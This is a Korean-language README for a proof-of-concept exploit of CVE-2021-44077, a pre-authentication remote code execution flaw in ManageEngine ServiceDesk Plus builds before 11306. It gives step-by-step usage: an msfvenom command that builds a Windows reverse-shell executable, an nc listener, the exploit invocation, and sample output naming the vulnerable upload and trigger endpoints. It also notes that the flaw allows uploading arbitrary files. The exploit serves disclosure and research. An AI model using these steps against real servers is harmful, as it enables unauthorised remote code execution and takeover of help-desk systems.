CVE-2021-44077

CVE-2021-44077에 대한 개념 증명 익스플로잇: ManageEngine ServiceDesk Plus < 11306에서의 PreAuth RCE

기반:

• https://xz.aliyun.com/t/10631

CISA 권고:

• https://www.cisa.gov/uscert/ncas/alerts/aa21-336a

해결 방법 (빌드 11306 이상으로 업데이트):

• https://www.manageengine.com/products/service-desk/security-response-plan.html

ManageEngine ServiceDesk Plus 빌드 11303에서 테스트됨. 모든 안티바이러스 비활성화.

Usage

익스플로잇은 Windows 실행 파일을 대상에 업로드하고 실행합니다.

익스플로잇을 위해 먼저 실행 파일을 생성하세요. 예를 들어:

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.140 LPORT=4444 -f exe > msiexec.exe

pip install로 requirements 파일을 설치하거나 requests 패키지가 있는지 확인하세요.

리버스 셸을 잡으려면 먼저 리스너를 실행하세요. 예:

nc -l 4444

그런 다음 익스플로잇 스크립트를 실행하고 url과 exe 인수를 전달하세요. 예:

python exploit.py http://<TARGET>:<PORT> <path_to_exe>

스크립트 출력 예:

% python exploit.py http://192.168.0.140:8080 msiexec.exe
[+] Target: http://192.168.0.140:8080/
[+] Executable: msiexec.exe
[+] Uploading msiexec.exe to http://192.168.0.140:8080/RestAPI/ImportTechnicians?step=1
[+] Got 401 error code on upload. This is expected.
[+] Uploaded msiexec.exe
[+] Attempting to invoke against url http://192.168.0.140:8080/./RestAPI/s247action. Waiting up to 20 seconds...
[+] Done, did it work?

Exploit Notes

• 취약점으로 인해 설치된 bin 디렉토리에 배치 스크립트와 같은 기존 파일을 포함한 모든 파일을 업로드할 수 있습니다. 업로드된 파일을 호출하는 다른 방법이 있을 수 있습니다.
• 웹 셸을 직접 업로드하는 것은 필터에 의해 차단되는 것으로 보입니다.

Disclaimer

이 소프트웨어는 학술 연구와 효과적인 방어 기술 개발을 목적으로만 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템을 공격하는 데 사용해서는 안 됩니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하세요.